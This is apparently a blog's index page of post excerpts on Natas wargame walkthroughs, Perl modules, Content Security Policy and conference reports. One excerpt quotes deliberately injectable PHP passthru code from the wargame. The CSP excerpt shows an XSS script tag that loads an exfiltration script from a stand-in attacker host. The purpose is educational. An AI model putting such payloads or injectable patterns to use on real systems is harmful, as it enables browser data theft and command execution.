Hashbang.ca

Last Monday, I presented my solutions to the Natas server-side security war games at NSLUG. Afterwards, I spent some time to clean up my code, and I’ve now published it to CPAN as Hack::Natas, which comes with modules and scripts to solve level 15 and 16 in an automated way, plus walkthroughs for all the levels up to 17 written in Markdown (those are almost the same as my blog posts, so you’re not missing out by looking at only one or the other).

This is the last level. We’re challenged with an improved version of level 9 – they’ve added additional “sanitation” to keep us out.

    if(preg_match('/[;|&`\'"]/',$key)) {
        print "Input contains an illegal character!";
    } else {
        passthru("grep -i \"$key\" dictionary.txt");
    }

We’re nearly at the end! This is the 2nd-last level.

We know there is a users table, with columns “username” and “password”. This time, the code just checks that the username exists. There’s no way to print out the data we want. Instead, we’ll have to do something cleverer.

I wanted to move a large number of files from one directory to another, but the target directory already had many of the filenames already used. This is a common enough problem – digital cameras use DSC#, video downloaders often append numbers to get a unique filename, and so on. In both those examples, the sequence restarts if you empty the program’s work directory. So, you’ll end up with DSC0001.jpg every time you empty your camera’s memory card. If you’re trying to move such files into a single directory, you’ll get conflicts every time.

Instead of manually renaming the files before transferring them, I wrote a simple script to give each file a unique name in the destination directory.

Moose led to Mouse led to Moo led to Mo led finally to M, which gives you the least object-orientation possible, which is none at all. I quipped that Perl desperately needed a new OO module called Noose – just enough object orientation to hang yourself.

The same-origin policy is a fundamental part of the security infrastructure of the web. It prevents a web site’s scripts from accessing and interacting with scripts used on other sites. This helps keep your data safe because if your bank’s website gives you some data, it can only be accessed by your bank’s website, and not by scripts from other websites.

That’s a nice theory, it’d be a shame if some evidence happened to it.

In the real world, attackers have found ways to get around the same-origin policy to gain access to data they’re not supposed to be able to access. For example, a web programmer might mistakenly include some user-provided input verbatim in the HTML of a webpage – perhaps a username. Well, if your username is <script type="text/javascript" src="http://evil.attacker.com/exfiltrate_browser_data.js"></script>, then how is the web browser supposed to know if that was intentionally put in the HTML of the page? Same-origin policies are insufficient in the face of programmer error. Enter Content Security Policy.

At Pythian, we have one application that is composed of several components, the deployment of which needs to conform to our slightly peculiar server setup. Until recently, this required manually deploying each component. I did this a couple weeks ago, and it took me something like 40 hours to figure out and complete. As I went, I started reading up on Module::Build, trying to figure out how to automate as much as possible. It turns out that this core module gives us a surprisingly powerful tool for customized deployment. First, it will help to understand a few aspects of how our code is deployed.

Perl does lots of things that make life easier, from postfix conditional and looping constructs, to DWIM-infused language design. One of interesting things I discovered when learning to open a file was that Perl can treat a scalar as an in-memory file:

my $string = "many\nlines\nof\ntext";
open my $in, '<', \$string;
while (<$in>) { print }

I was asked to add SSL support to a client library, while also moving from home-grown manual HTTP code to a proper module. HTTP::Tiny was ideal because it is pure-Perl, a core module since 5.14 (so it’ll be maintained), and it’s just one .pm file, making it easy to ship.

An application server that supported SSL was provided for testing purposes, but the SSL certificate didn’t match the hostname – HTTP::Tiny correctly rejected connections. I needed to be able to control the settings sent to the underlying IO::Socket::SSL object used for the encrypted connection so I could turn off security features for testing. As I worked on that, David Golden offered invaluable feedback, which greatly improved the design of the features added to HTTP::Tiny.

As of 0.018, HTTP::Tiny is more configurable, and has a simple interface for easily making SSL connections more secure.

Init scripts are annoying little things – almost entirely boilerplate. Here’s how I learned to stop struggling, and love Daemon::Control to control my daemons.

The module really is as simple as the synopsis – you describe the daemon, have it write an init script (which actually just runs your Daemon::Control script) for you, then update-rc.d and you’re golden. It really is that simple.

My pluginbundle for Dist::Zilla includes, among other things, the Twitter plugin so I can brag on Twitter every time I release a module. Mysteriously, it broke one day. Looking at the code, I realized that it was sending my username and password to authenticate. I remember being uneasy with that at the time I set it up, but I quickly forgot, and continued along blithely. OAuth is an authorization standard that allows users to avoid giving their username & password to a potentially-untrusted application. Using OAuth has been requested since 2011, and the 401 Unauthorized error I got indicates that now it is mandatory for Twitter.

David Golden offered to let me maintain the module, and I’m a sucker, so… :D

Important update: Don’t follow this advice, follow that advice!

chromatic mentioned how to use dependency injection in You’re Already Using Dependency Injection. Although I had read that when he posted it, I hadnt actually ever done it. That is, until today.

With gedit plugins, you can turn this simple text editor into a lightweight IDE. It’s fast, has good syntax highlighting, and can have code completion, shell integration, and many similar feature you might expect from an IDE. One feature it lacked was trimming whitespace from files. I searched for plugins to do this, and found several, but none of them quite met my expectations, because none were configurable. I typically want my files to end with one and only one newline. Of course, the solution is Perl.

At YAPC::NA 2011, I whined about the lack of codification of tribal knowledge in Perl. One area that’s ripe for fixing is the documentation on open. There’s a section in perlfunc for open, and a tutorial: perlopentut. That tutorial is where I’ve started my campaign to have the tutorials and FAQs give good advice.

Miyagawa strikes again

On day three (read about days one and two), I spent most of my time socializing and networking rather than attending talks.

If you haven’t already, read about day one.

Postmodern Module Packaging

I began day two with “Postmodern Module Packaging” with Ingy döt Net. This was a great comparison of the current module packaging toolchains, and a good introduction to a philosophy Ingy calls “Acmeism.”

I doubt my recounting will be anywhere near as colourful as Yanick’s, but I think it’s worthwhile to share my experiences at YAPC::NA 2011.